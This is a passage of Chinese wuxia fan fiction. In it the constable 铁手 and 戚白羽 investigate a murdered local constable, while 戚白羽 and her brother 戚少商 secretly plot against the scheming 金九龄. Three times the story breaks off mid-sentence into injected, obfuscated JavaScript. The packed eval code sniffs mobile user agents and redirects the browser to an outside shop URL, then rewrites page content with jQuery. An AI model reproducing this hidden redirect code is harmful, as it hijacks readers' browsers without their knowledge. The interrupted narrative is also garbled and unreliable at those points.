问了一圈,他再回头时,戚白羽仍旧立在树下,闭着双目,仿佛一座雕像。铁手稍一犹豫,向她走去,不过跨近数步,她便倏地睁开双眼,目光清明,不像是被惊扰了运功。她问:“看出什么来了?” 铁手解释道:“他应当是在死后不久,尸身尚温,便被埋入雪中,身上热气融化冰雪,后又重新冻上,因此周身衣物发丝尽数结冰。但他身下雪地,却并无这等积雪消融的痕迹,因此凶手必定是先将他埋藏于别处,后又转移到此地。至于他身上痕迹,戚姑娘且看……” 他抬起死者手掌,细细讲解肌肤血肉出现何等征兆分别表明人死多久,戚白羽不远不近地站着,看不出热衷,倒是另两位捕快围过来,听得频频点头。再过一阵,远处传来杂乱足音,是金九龄收拢了逐捕快,率众归来。他摇头叹息道:“寻遍了整座山,并未见到有他人踪迹。” 铁手苦笑一下,戚白羽直身拂去衣上落雪。金九龄将手中折扇一挥,侧身道:“看来我只好有幸招待两位了——铁兄,戚姑娘,请。” 他们落脚在山下的溪头镇。虽说是个镇子,但此地民生凋敝,规模也只同大点的村相仿佛,镇上不过一间客店,在最靠近镇边处,屋后便是被雪覆盖的农地。 客店只是一层平房,布置简陋,房间倒算宽敞。金九龄同店家打过招呼,将两人安置在角落的两间客房内。戚白羽淡淡问:“没有守卫么?” 金九龄大笑道:“戚姑娘可别寒碜我了——什么守卫看得住两位?我信得过二位人品贵重,不过请二位暂且小住罢了。可惜镇子偏僻,没什么好酒,不然,我倒要请戚姑娘好好喝上两杯,才不负当初三度交手。” 戚白羽神色倒不热衷,但金九龄与她见过面、交过手,想是早已知晓她的脾气,倒也不觉得拂了面子,为他们安排餐食、交过住宿费用,甚至交代店家给几个房间都置办了新的被褥来——料来以他的性子,自己也是忍不了这客店里不知道多少人睡过、又黑又油的老棉被的。铁手与他是公门旧识了,将他送至门外,问:“说来,金兄竟不在京城,莫非也是为了躲闲?” 金九龄摆手笑道:“哎,此言谬矣——你才叫躲闲,我嘛,我已离了六扇门那一摊子事,新的职务还未安排下来,眼下可是理直气壮地安享清闲了!” 两人一并笑起来。铁手道:“那又如何,你我不还是在同一个地方,同样被卷入老本行来?” 金九龄叹气道:“能怎么办?捕快做久了,路上遇到命案,很难不插手管一管。我要去镇上各处走一圈,排查一番,铁兄要不要同去?” 铁手摆手道:“既然‘六扇门第一人’在此,且容我躲个懒吧。” 他们在门口分别,铁手先去马厩里,看过食槽中干草,照顾了他那匹瘦马。除了那匹老马之外,马厩里空空荡荡,并无旁人坐骑,他忽然想起一事,转回店中,敲响了戚白羽房门。 戚白羽为他开了门,道:“怎么?” 铁手问:“戚姑娘,你的坐骑……” 戚白羽道:“她识得路途,自然会找到连云寨的据点去的。” 铁手点了点头,待要致歉,被她一挥手止住——说来也怪,他们今日才初次见面,倒像是相识许久一般,她竟能猜到他要说什么,他也很自然地知道,她不在意这些虚言客套。于是他又问:“还有件事,要同戚姑娘商议。姑娘对赵槐身死一案,可有想法?” 戚白羽打量他片刻,将他让进屋。屋内布置简陋,只有一张椅子,床头一个脱了漆的大衣柜,权充桌子。她很自如地坐到床边,将椅子让给他,道:“我是外行人。铁捕头又有什么想法?” 铁手开门见山,道:“我不认为你是凶手。戚姑娘又信不信我?” 戚白羽缓缓道:“我上山时,埋尸之处的确什么也没有。一定是在我之后上山的人,才将他转移去那处。” 铁手道:“我亦是如此。若非我不能自证,这案子实则很简单:你在我之前上山,以时间论,几乎不可能从山上下去埋了尸首,再赶到我前面,因此没有嫌疑;我自己没有做这件事,我心中清楚。因此嫌疑人倒更可能是——” “金九龄。”戚白羽说,“你和他是同僚,你不信他,却愿意信我?” 铁手道:“我们办案子,很是忌讳先入为主,断定谁一定不会是嫌犯。他自然是有嫌疑的,便如他也会怀疑我一般。但我也并不认为他是凶手,他是六扇门老手,真要掩盖自己杀人的事情,不会做得如此粗糙,破绽百出。” 戚白羽道:“不论是否粗糙,管用就行。京城天牢里,关着多少明明白白无辜的人?他们的案子,破绽岂不比这多?” 铁手被噎了一下,竟无法反驳。他思忖片刻,道:“但金九龄若要对付如今的我,找个地方,一掌杀了,一点都不烦难,何必要多杀一个捕快,平白多生波折?或是他要对付的,原不是我——你同他先前交手时,难道结了什么仇怨?但他手上捏着楚相玉一案,要将整个连云寨拖下水都很轻易,何必要这样绕着弯栽赃你?” 戚白羽道:“好,你分析来去,既不是你我,也不是金九龄,那么凶手是谁?” 铁手道:“从这一端分析不通,便只能倒回去,从赵槐身上入手。方才路上听他同僚介绍,这人无甚嗜好,未结仇家,甚至尚未成婚,前一天早上出门当值,举止如常。那么凶手怕不在本地人中,金九龄此时,大约便在排查镇上人口了。” 戚白羽问:“那么,你怎么不跟他同去?” 铁手笑道:“我跟戚姑娘,还有话未说完。” 戚白羽道:“怎么,就是这一段分析么?” 铁手道:“我还欠你一个问题。” 戚白羽怔了一怔。她似乎已经完完全全忘记了这个价值铁手性命的一问,以至于听他提起时,这份吃惊竟穿透了她古井无波的面容,那样清晰地显露出来。但只这一刹过去,她旋将脸向窗户的方向一转,蓦地立起身来,道:“不必了,我倒也没什么想问的。” 她一面这样说,一面毫无声息地向着窗边移动。铁手即刻会意,当即道:“既然如此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416060|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我便不多打扰。”一边自然而然地站起,借着椅子移动的声音掩住她那一点点微不可觉的脚步声。戚白羽行至窗前,忽地猛然伸手,将窗一推! 她的动作已经快到极点,寻常人的目力几乎无法捕捉,窗外那人竟比她更快,只看到一道影子一闪,即刻便消失在雪地里,若不是戚白羽那一番动作,几乎会让人以为是寒风带起的错觉。戚白羽旋即翻身一跳,疾追而去。 待铁手翻出窗时,两道身影已经远远地离了客店,穿过雪原,疾奔而去。铁手勉强提气,忍着脏腑刺痛,追赶在后,仍不免与他二人之间拉开极远一段距离。他落在后面,只能看见最前面那人似乎是个身量颇高的男人,白衣白巾,束了头发又蒙了面;追在身后的戚白羽同样也是一身白衣,只有那一头乌发在雪地里还看得清楚。他二人一前一后,奔入林间,身影便即刻消失在白雪黑枝当中了。 铁手咬牙忍过痛楚,加快脚步,却见树林边缘人影一闪,戚白羽只进林三五息,便又退了出来,回身向他迎过来。铁手赶上她,问:“怎么?” 戚白羽道:“这人来路不明,不知是敌是友,此时你我不要分离太远为妙。” 铁手这些年捕快生涯中,也不知见过多少被诱敌分兵然后逐个击破的案子,很是赞同,亦很是感动——他当然知道,以二人当下实力,真要逐个击破,肯定是他自己先遭不幸。他道:“多谢戚姑娘关照了。” 戚白羽没有作声,如同没听见这番话一般。他们一同循着前面那人的脚印进入林间,但脚印几乎与折返的戚白羽一同中断,再往前追一段,雪地上便什么痕迹都没留下了。 两人四下张望片刻,铁手忽然走到旁边一棵树旁,以手虚点了点树干上几点雪沫,道:“这人踏着树干借力!难怪不曾留下任何脚印。” 戚白羽将身一跃,飘上树梢,向旁边望了望,道:“那边树上,被碰掉了一块积雪。” 他们循着树上留下的线索又追踪片刻,但此地积雪已经是两三天前所留,许多树上残雪早被北风吹掉,树干上被踏足几次,便不再有雪沫残留,很快便无以为继。戚白羽征询地望一望铁手,铁手经验虽然丰富,也只能摇头道:“看来是追不到此人了。” 他们循着来路,往镇中折返。铁手一路若有所思,忽然道:“原来如此,那日对战楚相玉时,襄助我们的神箭手也是这般……他也是踏着树干借力,在树上来去,难怪我们当日入林寻找,怎么也找不到他踪影。” “看来你终究还是没追错地方。”戚白羽道。 铁手轻轻舒了一口气,又皱起眉头。他道:“但他到这个地方又是做什么?此处不曾有什么出名的恶棍匪徒,若说是要探听官府动静,趁着我被困在镇上,他该早些赶路离开才对。” 戚白羽诧道:“你追上我时,还说要亲手捉拿她。到了此时,你又嫌她跑得不够快?” 铁手笑道:“戚姑娘误会了,我并不打算捉拿他——从李鳄泪,到侯连海、沙通天,再到白一呈,他杀的每一个人都是死有余辜。朝廷法度既然没法给李鳄泪定罪,哪里有拘捕为民除害的义士的道理?只是,李鳄泪毕竟是朝廷命官,并非因为他曾鱼肉百姓,便能草草结案的。许多情况,我须得追上他,当面问个明白。” “譬如什么?” “譬如说,有了他的证言,才好给其他的嫌疑人脱罪。” 5. 第五章 戚白羽面色微凝。 刚刚过午,天色已昏。也许是因为光线,铁手像是没有注意到她这瞬间掠过的表情一样,自顾道:“戚姑娘有所不知,当日李鳄泪、李惘中父子被杀时,陕北有名的大侠关飞渡刚被他们下药抓捕,正要施以折磨。这杀人者不但杀死了李鳄泪父子,且在李宅的重重侍卫、高手围困下,仍想法子援救了关飞渡。因此,关飞渡所在的‘无师门’,自然是首要的嫌犯了。” 戚白羽问:“但你既要给他们脱罪,想必已是排除这等嫌疑了?” 铁手道:“那位箭手作案之时,并未留下多少线索,但他离开青田镇之后,刻意用同样手法接连犯下多起案子,教人知晓踪迹,多半是为了给关飞渡脱罪了。只是,他如此在意关飞渡等人的安危,倒是更坐实了有可能是同党亲友的可能性。非得知晓此人真实身份,才能断个究竟。” 戚白羽抿起唇来,不再答话。 他们走回客店时,店里竟无人发觉两人曾经离去。天寒日冷,又无甚客人,掌柜当时迎了他们进门,再过一阵,便把客店门板关了起来,他们索性绕到屋后,还从戚白羽敞着的窗洞中钻进屋内。 敞着窗这一阵,屋内已如雪窟般冰冷,戚白羽索性懒得关窗,还是铁手回身将窗扇合起。在他身后,戚白羽问:“这下倒巧。你刚排除完三个人嫌疑,便出现了一个新的神秘的外来高手,还恰是你在找的那个箭手。你满意了?” 铁手微微拧着眉,道:“恰恰相反……如此一来,情势倒更教我想不明白了。” “哪里不明白?” “我还要回去好好想想,免得反而误导了你。”铁手道,回身向她拱了拱手,“既如此,我便先告辞了。” 戚白羽坐回床边。 北地冬日寒冷,这小客店中的床多是炕床,下面连通着烟道,因此只有床边还有几分暖意。新的被褥已经送来,堆在床上,她将被褥换过,旧的便草草一卷,堆在床边的旧箱子上。然后她坐下来,等待着。 她作好了等到深夜的打算,但实际上没有等待太久。片刻之后,她的房门悄无声息地被推开了,金九龄姿态潇洒、然而一点声音都没有发出地走了进来。 她正是在等他。 楚相玉身死那晚,金九龄深夜悄悄来寻她,提出一个邀请:如今楚相玉已死,他的追随者不妨另择新主,他愿为她和连云寨引介到权势滔天的傅宗书门下。 金九龄言之凿凿许诺:只要她动手杀一个人,随便杀谁,他一定会暗中做手段,想办法让铁手主动接下这个案子,给她创造击杀他的机会,以此作为投效傅宗书的敲门砖。如此一来,连云寨和楚相玉之间的牵扯、她本人的危机,经由傅宗书的权势,都很好解决。 如今事情有变,铁手未死,金九龄果然沉不住气。他合上门,然后谨慎地望了一眼她的隔壁。戚白羽轻嗤一声,低低道:“你说便是了,他听不见的。” 就隔着一道木板墙,另一间里住着铁手,像他们这样内力精深的高手,可以听见他打坐调息的呼吸声甚至心跳声,他的呼吸声里,间着细微的、咳喘般的杂音,显然是内伤尚未平复。以这样的伤势,他如今是无法从隔壁听见他们两人的动静的。 金九龄听了片刻,似乎是放下心来。他转向戚白羽,低声问:“你为什么不杀他?” “你倒好意思说!”戚白羽道,“我正要杀他,你便带人冲上来搅局——难道这几日间,你又改换门庭,不想替傅宗书除掉他了?” 金九龄摇头道:“错了,错了——不是我要替傅相除掉他,他是你的投名状,你要记得才是。” 戚白羽冷冷道:“难道你不是要拉拢连云寨在傅相面前请功?怎么,你想把我和铁手全除掉,将功劳全归到你自己头上?” 为免让铁手听见,他们两个几乎是在以气音在讲话,声音低到一步开外都难听见动静。通常以这样低的音量,人是很难发怒的,但此时房中气氛,剑拔弩张之处丝毫不输。他们相望一阵,金九龄先退了一步,笑道:“哎呀,小白羽,我也算看着你长大,今日你对我这样鼻子不是鼻子,眼睛不是眼睛的,难道就为了一个铁手?” 他常这样在她面前摆出长辈架子,仿佛他当真教养过她;仿佛那些无辜者的死不值一提;仿佛昔年楚相玉的忠心部下教导她、养大她,他便可以从这恩情中分一杯羹——这姿态简直叫她恶心。 但是,就如过去的每一次,她没有将这份杀意表露出分毫,只是不冷不热地道:“为了你先要杀他,又阻碍我杀他。你到底要怎样?” 金九龄手指摸了摸折扇,顾虑到开扇的声响,又止住了手。他道:“哦,是我阻碍了你?那可对不住了。我还以为,你不忍心下手了呢。” 戚白羽冷笑了一下。她道:“怎么,你先是造出一桩命案,带着一堆捕快到我准备动手的地方搅局,又把我们请到这里,教所有人都知道铁手在此,莫非我一旦下手,你就要当场将我捉拿?这样一来,你在傅相面前既能请功,在诸葛神侯面前还能卖个人情,岂不是大有裨益?” 金九龄道:“真教人伤心,小白羽,你怎地把我想得如此不堪?” 戚白羽眉头都不动一动,只是同他对视,眼神寸步不让。金九龄手指在扇上摩挲一下,道:“谁若将你做一个只用一次的棋子,那他一定是世上最没有眼光的人。傅相的品位,可比这要高得多了,否则,我又怎会投靠于他?” 戚白羽并不接话,金九龄料也知道光是说些好话,无法劝得动她,他紧跟着道:“至于那捕快,我原是打算栽到铁手身上。你想想,诸葛神侯只有这四个弟子,一向十分爱护。铁手如今重伤,杀之不难,可神侯一脉必定为他报仇,届时你一人难道担待得来?可是,若是你撞见鼎鼎大名的四大名捕居然对无辜者痛下杀手,仗义出手擒拿,才失手杀了人,那诸葛神侯一向自诩公义,还能有什么话可说?” “唉,”他悠悠地叹息,“我全为了你考虑得这么周到,你却如此误会我,可真教人伤心。” 戚白羽冷笑:“你自以为能够设计这样周全,叫他三个师兄弟都查不出问题来?” 金九龄悠悠道:“我自然能做到。” 戚白羽打量他一阵,似乎是被这种不容置疑的自信所感染,态度终于软化下来:“随你怎样说,我不可能在众目睽睽下杀了铁手。眼下他觉得自己有嫌疑在身,不该多走动——你得劝动他出门去。” “这自然没问题。那么,明日我便候你的好消息了。” “明日?难道你不需要同你那帮手通气?” 金九龄皱起眉来:“什么帮手?” “怎么,那不是你的人?”她问,同他大略说了那蒙着面的白衣高手的事。金九龄的眉头越锁越紧。 “不论你是否相信,那的确不是我的人。”他说,甚至一时忘了要恶心她,“莫非……” 他沉吟不语,戚白羽接道:“莫非那其实是铁手的帮手?他那三师弟追命,轻功便好得很。” “追命原该在青田镇……也罢,此人交给我来查便是。你且放心,杀铁手时,我会在场,他便是有帮手,有你我两人在,一并杀了便是。” 戚白羽答应下来:“很好,最迟明日过午,我要在出命案那座山的山顶见到你。你若不来,我不会下手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416061|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这短短几句话间,金九龄已经从吃惊中收拾好姿态,款款道:“当然了,我一定如约而至。” “另外,你说你没打算拿我当弃子。那我要一句实话。” “这话说的,我何时骗过你?” 戚白羽问:“我杀了铁手,便能换来傅宗书庇护,这件事到底是他同意过的,还是你自作主张?” 金九龄笑道:“果然给你说到点子上——他不知道。并且,这件事最好的解决办法,就是在他不知道的时候,你先杀了铁手。” 戚白羽皱眉道:“怎么说?” 金九龄道:“你的身世,的确是个极大的麻烦,若是先跟傅相谈条件,是咱们求他,只怕谈不到什么很好的结果。可是,你若杀了四大名捕之一,带着这样大的功劳去投效于他,傅相还不能保下你们,那其他为他做事的高手,就要心思浮动了。为了这个,他也一定会将连云寨保护得好好的。” 戚白羽道:“是么?我看,只要他权势依旧,那么无论他怎么辜负手下人,投靠他的都不会少。” 只是,她虽然这样说,神色却更缓和了些,语气也远没有先前冷淡了。金九龄看出来她已然动摇,踏前一步,几乎与她贴着面,亲昵地笑道:“不然这样,倘若万一傅相不肯出手帮忙,我也承诺,在这桩事上,我本人一定相帮到底,怎么样?你要知道,以我在六扇门留下的影响力,要出手给楚相玉这桩事收尾,抹去连云寨在其中的所有痕迹,并不算难。这你总该放心吧?” 戚白羽移开目光,暗自激发气血,触动先前留下的内伤,叫脸颊上浮出一层薄红。“……你最好说到做到。”她说。 希望金九龄当真觉得她是害羞了、是被他的魅力触动了。当然,又或者他们两个从始至终都是各怀鬼胎,从来没有付出过半分信任。他笑了笑,姿态从容漂亮地缓缓后退半步,转身出了门。 戚白羽静静听着他逐渐远去,直到周围除了隔壁的铁手和楼下打瞌睡的掌柜,再无旁人动静。她站起身,从破木箱上搬开旧铺盖,伸手轻轻掀开箱子。 戚少商直起身,从里面轻巧地跳了出来。 最开始,那是他们还不太熟悉的时候,他用来逗她的一个小把戏,玩多了之后演变成对她听声辨位的训练,最后,这成了他们兄妹之间一个秘密的杀手锏:他们可以在几息之间将自己的呼吸和心跳节奏调节至全然一致,并跟随着对方的心跳变化随时调整,就算是世间最厉害的高手,仅凭耳力,也听不出这屋子里还有另一个人。 在推窗见到人影的时候,她立刻认出窗外的人原来是戚少商。只是这其中许多内情,不便给铁手得知,她当即追他一路到树林,又留在后面,拖住铁手,跟他在林间寻找线索,戚少商借此时机,绕了个大圈,进了镇子,藏到她屋里。 她回来后,往箱子上堆了被子,示意他不要露面,两人便这样心跳相合、呼吸相叠,一起听完了她与金九龄那场谈话。 他们不曾有过一句交谈,却能配合至此,这样的默契,便是亲兄妹也少有,但是两个人脸上都没有得意的神色。正相反,戚少商看起来气得冒烟。很明显,他想要大喊、要跺脚、要转圈,又恐怕惊着了隔壁的铁手,于是这升腾的怒意被强行抑制、凝固,将他俊逸的面貌扭曲得几乎有一点滑稽。 戚白羽沉默一阵,道:“你怎么来了?” 戚少商被她气笑了:“这话难道不是我来问你?” 她沉默了。戚少商道:“你又是为什么私下里应了金九龄的约,独身一人悄悄离开连云寨?你难道看不出来,他想要杀了你!” “我知道。”戚白羽平静地回答,“我也想杀了他。” 6. 第六章 归附傅宗书?开什么玩笑——戚白羽哪里会心甘情愿为这等奸臣贼子效力?她连楚相玉都瞧不起,而傅宗书连楚相玉的十分之一都及不上。至于金九龄想要杀她,她也并不意外:一个甘心作傅宗书走狗的人,不能指望他不会作恶。 但是戚少商看起来那么生气,简直叫她吃惊。“他想杀了你!”他重复一遍,甚至可以从气声中听得出咬牙切齿的味道,“什么栽赃铁手,胡说八道——他师兄弟几个都是名捕,哪个能信?他提出要你杀铁手,就没打算保你性命!寨里还正乱着,足足四天半没人知道你去了哪儿——若我没赶上,你就打算自己一个人来对付他?” 戚白羽面露无奈之色:“大哥,我知道他要杀我。但金九龄在楚相玉身死当夜,找我来说了这件事——倘若我当时立刻告诉你,金九龄想要拉拢连云寨到傅宗书麾下,你意欲何为?是不是要大怒,当场去找金九龄打架?” 戚少商无声地长长呼出一口气,屏住呼吸,闭上眼睛。他没有答话。 “那时连云寨的兄弟都在左近,朝廷兵马亦相隔不远,一旦交战,规模不小。那样打起来,把金九龄杀在那种地方,就不是如同现在这般,能够在呈报之中掩饰过去的。你要为了金九龄,将连云寨人马都葬送在这等无意义的争斗中么?我先应下他,缓缓图之,岂不是更好?” “在你心里,难道我就这样莽撞无谋,非得当场动手不可?你告诉了我,咱们可以一起筹谋。他叫你杀个人为饵,你就单枪匹马去杀了李鳄泪?”戚少商质问,“李鳄泪身边高手云集,关飞渡、丁裳衣、息红泪都早想刺杀他,这么些年都未敢下手,你倒艺高人胆大!” 戚白羽抬起手,轻轻按在他臂上:“大哥,现在不是吵架的时候。” 戚少商再度闭起眼,沉默了一会儿。 “你说得对,是我失态。”他说,“你眼下打算怎样做?要我如何配合?……你不至于真要杀了铁手吧?” 戚白羽垂落目光,旋又抬起。 “我试过他了。我没法杀他。”她说。 一开始,她提起寻仇,只是一个借口:江湖中立场冲突、彼此争斗,谁丧命也只能怨自身本领不济。连云寨压根没打算找时震东复仇,她此行更与时震东扯不上关系。她只是想试探一番,金九龄想要她杀死的这个人,是否当真无愧清名。 她没想到,铁手居然二话不说,为时震东接下了这桩莫须有的血仇。 她于是定下不得动用内力的规矩,又有意将内力凝于掌心,聚而不发。铁手与她几度手掌相触,一定觉察得到她在掌心凝聚内力,或许不知哪一招,就会突然用上内力偷袭,将他毙于掌下。如果他因此而破坏规矩,她便会立刻反击。 他没有因此抢先出手偷袭她。 于是,她用出从未拿出过手的奇招强攻,逼出先手,亦巧妙地将自己转到了背向悬崖的位置。在铁手看来,只要他出其不意,用出一点内力,她就可以摔下悬崖。 但是,铁手依旧没有出手。 最后,她索性自己向后一仰,假作摔落崖下。他不需要主动做什么,他只需要冷眼旁观—— 铁手冲上前来,想要救她:救一个赢了之后,便要取他性命的人。 没有人能仅为沽名钓誉做到这个地步。戚白羽实在没法下手杀他,任何一个有良知的人,都绝不会愿意杀他。 戚少商不知道个中经过,但显然,在他和铁手的短暂交手中,他亦认可铁手是一个值得多冒些风险、去保住他性命的人。他舒了口气,没说什么。戚白羽续道:“明日午时,我带铁手去山上,金九龄大约会甩脱旁人,独自前往。你得埋伏在远处,先不要露面,以免金九龄觉察不对,打算逃跑。” “不许我现身,难道你当真要独自对上金九龄?”戚少商问,“你敌得过他?” “我打不过他,但是未必杀不了他。”她说。 “你从没跟他打过,万一我赶不及过去,你便落败,又当如何?” “我身上带了‘春风阎罗’的剧毒,不会让他活着下山的。” “他不能活着下山又如何?你想跟他同归于尽吗!”戚少商恼道。 她沉默了。 一息,两息,他们对视着。像一瓢热水泼入大雪之中,戚少商的恼怒结冰、凝固,从中升腾起难以置信的担忧和恐惧。“你真想跟他同归于尽吗?”他悄声问,“为什么?他也配?” “跟金九龄没有关系。”戚白羽回答。“……我会小心的,大哥。但现在不是说这个的时候。” 她示意了一下隔壁铁手房间的方向。 “现在不是说的时候,什么时候才说?等你死后?”戚少商道。 他们从不轻易争执,因此从小到大,但凡有异见,他总是让步得很快。只有这一次,他固执得惊人:“如果你觉得这里不能说,我们就出去说。如果你觉得金九龄是个妨碍,我现在就立刻去杀他。但这绝不是一个可以延后再谈的问题。” “你疯了?”戚白羽低声斥责,“连云寨居然没有被牵连到楚相玉一案来,已经是做梦都没有的运气,你居然主动又搅进金九龄的事情来——” “我不在乎!金九龄的命有你的命重要?” 他的眼神像火,他的姿态看不出一点从容风度,几乎像是跟她一样痛苦。他们沉默地对峙了好一阵,她渐渐地意识到,他不会让步。 她仍旧对他有如此重要的意义吗?即使她杀了楚相玉?——即使很明显,戚少商根本不知道该怎么面对她杀了楚相玉这件事? “我向你保证,我会尽力活下来。”最后,她承诺,“但金九龄绝不能逃走,你不能打草惊蛇。其他的事情,我们后面再说。” 戚少商最终也意识到,他也难以让她在此时说更多了。他长长地叹了一口气,戚白羽当即往隔壁的方向看了一眼,他却好像一时已不在意要遮掩行藏。他摇摇头,道:“还有两个消息,你可能未及得知。第一,我在来的路上,同陆小凤碰了面。” 戚白羽轻轻地一挑眉:陆小凤也是武林中声名卓著的人物了,并且是金九龄的多年好友,可是听戚少商的口气,这却不像是个坏消息。果然,戚少商续道:“他是为追查绣花大盗的案子而来,并且似乎已经认定,绣花大盗的真身其实是金九龄本人。我想,倒很有可能劝他来帮忙。” 戚白羽皱了皱眉,道:“只要他不坚持要抓活口便好。” “你对绣花大盗倒是一点不吃惊?” “金九龄既有这样的恶毒,也有这样的手段。是他倒也合理。” “好吧。第二,我得知四大名捕之中的追命已从京城赶到青田镇,接手了李鳄泪一案,关飞渡和丁裳衣那边,你尽可放心了。” 戚白羽瞥他一眼:“是为了叫我放心,还是叫息大娘放心?” 戚少商摊摊手,没有答话。 他们心知肚明,在此之前,戚白羽和关飞渡、丁裳衣两人不过数面之缘,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416062|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉强算作熟人,倒是息红泪建起的毁诺城,一向同他们关系亲近:关飞渡组织的“无师门”收纳三教九流之辈,丁裳衣混迹青楼楚馆,有许多命运悲惨、无处可归的女子,经由他们营救,送去毁诺城生活。 他们也都知道,戚少商和息红泪说是恩断义绝,其实两人都余情难了。 但是,这一句调侃也只能带来一点微弱得成不了形的笑意,须臾就在更多不安的心绪中散去。戚少商望着她,几度欲言又止。她完全猜得出他想问什么:要么是问她为何要杀楚相玉、要么是继续追问她为何如此不顾惜生命。但这两个,都是太过复杂,不适合在此时此地谈起的话题。 “其他的事,等金九龄死后,我们再慢慢谈吧。”她说,免去了戚少商不知该不该开口的纠结。 他看起来也松了口气:“好,我先回去找陆小凤。时间紧迫,恐怕我们来不及碰头,我会在山脚下留下连云寨的标记。若是有事,你在窗框上作个标记,我便来找你。” 他轻轻地推开这扇已经太过忙碌的窗户。戚白羽忽然又在身后叫住他:“大哥!” “嗯?” “你住在哪里?” 戚少商这次才终于真的笑了:“这种事情,哪里还用你来操心!” 他轻轻一跃,翻过窗户,也不关窗,白衣的身影立刻消融在积雪间了。戚白羽开着窗,向外面看了许久,才在北风呼啸中合上了窗。 午时金九龄并未回来,倒是有镇上唯一的酒楼送来一顿经过精心整治的饭菜,显然是他吩咐。戚白羽和铁手各自在房中运功修行或疗伤,将白日过得如同深夜般寂静。到了晚上,金九龄回了客店,身后跟着酒楼的小二,摆出一桌好酒好菜,将他们两个都叫出来喝酒。 如果一个人不曾知道她知道过的那些事,不曾握有她握有的那些把柄,那么也许真会认为,金九龄是个充满魅力、无可挑剔的人。他的言语幽默得恰到好处,亲近又刚好不惹人生厌。桌上三人之间,金九龄和铁手是公门同仁,早已相识,但各自奔波在外,见面并不算多;金九龄和戚白羽,在明面上则是刚刚相识不久。但他谈笑风趣,左右逢源,从不落下桌上任何一人。 因着戚白羽和铁手都还带着伤,虽然启了坛,也只是以水代酒。一顿饭吃到尾声时,他才举了杯,朝两人敬了酒:“我知晓二位都各自有事在身,为了此案,还是不得不在此停留,实在是对不住。” 铁手举了杯,道:“为了公事,无妨的。” 戚白羽亦举了举杯,却道:“既然金大捕头也知道不方便,不能早两日放我们离开么?” 金九龄将自己杯中酒一饮而尽,笑道:“哈哈哈,我自己对姑娘愧疚,但要真放了二位离开,却觉得对不起朝廷。金某有个折中的办法,请二位一听?” 戚白羽道:“请讲。” 金九龄道:“我完全信任铁兄,也相信戚姑娘不屑于对区区一位普通捕快下杀手。二位待在这儿也是待着,不妨也在镇中走动,帮着查一查这桩案子?说不定,便能早一日抓出真凶。” 铁手道:“金兄这般信任,在下受宠若惊。但实在不必为此破了查案的规矩,倘若我们当真与案有涉,岂不是放了我们去销毁证据?” 金九龄虚指了指他,大笑道:“那铁兄可就要当心了,谁知道你销毁证据的时候我是不是在后面尾随着?” 铁手与他碰一碰杯,笑道:“好,既然金兄信任我,我哪里有不出力的道理?” 7. 第七章 第二日清早用过早饭,他们两人便一道出了门。 金九龄一早便不在客栈,戚白羽心知,他恐怕正忙着查那所谓的“白衣神秘高手”,却不知戚少商打算怎样联络陆小凤,他们两个又打算如何瞒过他的追查。 她自己只作什么都没发生一般,摆出冷脸,旁听铁手与留在客栈的捕快攀谈。那捕快也是被金九龄特意叫来此处,专为他二人引路,连带介绍当地的情况:赵槐父亲在去年逝世,家中一个弟弟在外求学,大雪天,驿路难行,他此时恐怕还不一定收到了家信。如今他家中只一位盲眼的老母亲,生活十分不便,所幸赵槐在镇上人缘不错,这些天,邻里同僚轮流待在他家照顾。 铁手只是听着,偶尔插嘴问问细节,戚白羽心中倒觉得恍然大悟:难怪金九龄不曾杀死他家老母亲,恐怕因为家中一直有人,无法下手。 依照金九龄性情,为了消灭证据杀死一两个无辜者,并不算是什么事——戚白羽身为楚相玉唯一血脉,对这群“反贼”的私下联络一向知之甚详,她所知的金九龄,可一点都不符合他造出来那个光风霁月、正人君子的模样。 但是,她也猜不透,他到底为什么要杀这个捕快。 当然不可能是为了栽赃铁手,因为金九龄还指望着等她杀了铁手后,再以此为由杀了她呢。以金九龄行事谨慎的风格,这样匆匆地杀了一个人,甚至留下了会让铁手觉得拙劣的痕迹,一定是因为赵槐知道了什么—— 但是赵槐这样一个普通的捕快,能撞破他什么? 他们走近赵槐家院子的时候,她立刻就明白了答案。 铁手比她稍晚些才听见院中的声音,戚白羽暗中注意他,没错过他脸上一闪而过的恍然之色。他向引路的捕快问:“镇上原来还驯养信鸽么?” 捕快尴尬地支吾了两声才承认:“我们这小地方,哪来训信鸽的本钱。是肉鸽,他家父亲传下来的手艺,赵老爷子去了就是赵槐接手了,他家给附近几个镇上的酒楼供鸽子,多少贴补一点。” “我倒确实从未想过,酒楼中的鸽子都从何而来,受教了。这些鸽子便一直关在笼中么?岂非难以打扫?” 